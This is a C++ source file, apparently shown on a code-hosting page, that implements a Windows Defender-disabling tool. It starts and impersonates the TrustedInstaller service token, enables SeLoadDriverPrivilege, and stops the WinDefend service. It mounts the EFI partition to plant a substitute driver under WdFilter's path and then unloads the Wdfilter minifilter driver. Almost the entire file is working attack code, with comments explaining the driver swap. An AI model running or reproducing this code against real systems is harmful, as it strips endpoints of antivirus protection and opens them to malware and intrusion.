-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathImpersonateAndUnload.cpp
167 lines (146 loc) · 5.98 KB
/
ImpersonateAndUnload.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#include "common.h"
NTSTATUS ImpersonateAndUnload()
{
#pragma region nt_imports
// load NtDll and resolve the addresses of NtImpersonateThread() and NtUnloadDriver()
RAII::Hmodule ntdllModule = LoadLibraryW(L"ntdll.dll");
if (!ntdllModule.GetHmodule())
{
std::cout << "[-] Couldn't open a handle to ntdll! Error: 0x" << std::hex << GetLastError() << std::endl;
return 1;
}
pNtImpersonateThread NtImpersonateThread = (pNtImpersonateThread)GetProcAddress(ntdllModule.GetHmodule(), "NtImpersonateThread");
if (!NtImpersonateThread)
{
std::cout << "[-] Couldn't resolve NtImpersonateThread address! Error: 0x" << std::hex << GetLastError() << std::endl;
return 1;
}
pNtUnloadDriver NtUnloadDriver = (pNtUnloadDriver)GetProcAddress(ntdllModule.GetHmodule(), "NtUnloadDriver");
if (!NtUnloadDriver)
{
std::cout << "[-] Couldn't resolve NtUnloadDriver address! Error: 0x" << std::hex << GetLastError() << std::endl;
return 1;
}
#pragma endregion native Nt functions are imported through GetProcAddress
// steps:
// 1. start the trustedinstaller service & process
// 2. steal the trustedinstaller process token
// 3. impersonate TrustedInstaller's token
// 4. unload Wdfilter
#pragma region impersonating_TrustedInstaller
// step 1 - open the service manager, then start TrustedInstaller
RAII::ScHandle svcManager = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!svcManager.GetHandle())
{
Error(GetLastError());
return 1;
}
else std::cout << "[+] Opened handle to the SCM!\n";
RAII::ScHandle trustedInstSvc = OpenServiceW(svcManager.GetHandle(), L"TrustedInstaller", SERVICE_START);
if (!trustedInstSvc.GetHandle())
{
Error(GetLastError());
std::cout << "[-] Couldn't get a handle to the TrustedInstaller service...\n";
return 1;
}
else std::cout << "[+] Opened handle to the TrustedInstaller service!\n";
auto success = StartServiceW(trustedInstSvc.GetHandle(), 0, nullptr);
if (!success && GetLastError() != 0x420) // 0x420 is the error code returned when the service is already running
{
Error(GetLastError());
std::cout << "[-] Couldn't start TrustedInstaller service...\n";
return 1;
}
else std::cout << "[+] Successfully started the TrustedInstaller service!\n";
auto trustedInstPid = FindPID(L"TrustedInstaller.exe");
if (trustedInstPid == ERROR_FILE_NOT_FOUND)
{
std::cout << "[-] Couldn't find the TrustedInstaller process...\n";
return 1;
}
auto trustedInstThreadId = GetFirstThreadID(trustedInstPid);
if (trustedInstThreadId == ERROR_FILE_NOT_FOUND || trustedInstThreadId == 0)
{
std::cout << "[-] Couldn't find TrustedInstaller process' first thread...\n";
return 1;
}
RAII::Handle hTrustedInstThread = OpenThread(THREAD_DIRECT_IMPERSONATION, false, trustedInstThreadId);
if (!hTrustedInstThread.GetHandle())
{
std::cout << "[-] Couldn't open a handle to the TrustedInstaller process' first thread...\n";
return 1;
}
else std::cout << "[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the TrustedInstaller process' first thread!\n";
// step 3 - impersonate the thread to get TrustedInstaller privilege for the current thread
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
auto status = NtImpersonateThread(GetCurrentThread(), hTrustedInstThread.GetHandle(), &sqos);
if (status == STATUS_SUCCESS) std::cout << "[+] Successfully impersonated TrustedInstaller token!\n";
else
{
Error(RtlNtStatusToDosError(status));
std::cout << "[-] Failed to impersonate TrustedInstaller...\n";
return 1;
}
#pragma endregion current thread token now has TrustedInstaller privileges
#pragma region unloading_wdfilter
// step 4 - set the SeLoadDriverPrivilege for the current thread and call NtUnloadDriver to unload Wdfilter
HANDLE tempHandle;
success = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &tempHandle);
if (!success)
{
std::cout << "[-] Failed to open current thread token, exiting...\n";
return 1;
}
RAII::Handle currentToken = tempHandle;
success = SetPrivilege(currentToken.GetHandle(), L"SeLoadDriverPrivilege", true);
if (!success) return 1;
RAII::ScHandle winDefendSvc = OpenServiceW(svcManager.GetHandle(), L"WinDefend", SERVICE_ALL_ACCESS);
if (!winDefendSvc.GetHandle())
{
Error(GetLastError());
std::cout << "[-] Couldn't get a handle to the WinDefend service...\n";
return 1;
}
else std::cout << "[+] Opened handle to the WinDefend service!\n";
SERVICE_STATUS svcStatus;
success = ControlService(winDefendSvc.GetHandle(), SERVICE_CONTROL_STOP, &svcStatus);
if (!success)
{
Error(GetLastError());
std::cout << "[-] Couldn't stop WinDefend service...\n";
return 1;
}
else std::cout << "[+] Successfully stopped the WinDefend service! Sleeping 5 seconds...\n";
Sleep(5000);
// YES I KNOW IT'S SLOPPY BUT IT'S 5 AM AND THIS IS FAST.
// make sure to put in the same folder unDefender.exe AND the provided WdFilter.sys (which is basically RwDrv.sys :)
// this command sequence mounts the UEFI partition and creates a directory tree structure which mimicks the legit WdFilter path
system("mountvol.exe U: /S");
std::cout << "[!] ";
system("mkdir U:\\Windows\\System32\\Drivers\\wd\\");
std::cout << "[!] ";
system("copy .\\legit.sys U:\\Windows\\System32\\Drivers\\wd\\WdFilter.sys /Y");
system("mountvol.exe U: /D");
success = StartServiceW(winDefendSvc.GetHandle(), 0, nullptr);
if (!success)
{
Error(GetLastError());
std::cout << "[-] Couldn't restart WinDefend service...\n";
return 1;
}
else std::cout << "[+] Successfully restarted the WinDefend service! Sleeping 5 seconds...\n";
Sleep(5000);
UNICODE_STRING wdfilterDrivServ;
RtlInitUnicodeString(&wdfilterDrivServ, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Wdfilter");
status = NtUnloadDriver(&wdfilterDrivServ);
if (status == STATUS_SUCCESS) std::cout << "[+] Successfully unloaded Wdfilter!\n";
else
{
Error(RtlNtStatusToDosError(status));
std::cout << "[-] Failed to unload Wdfilter...\n";
}
#pragma endregion Wdfilter is unloaded
return status;
}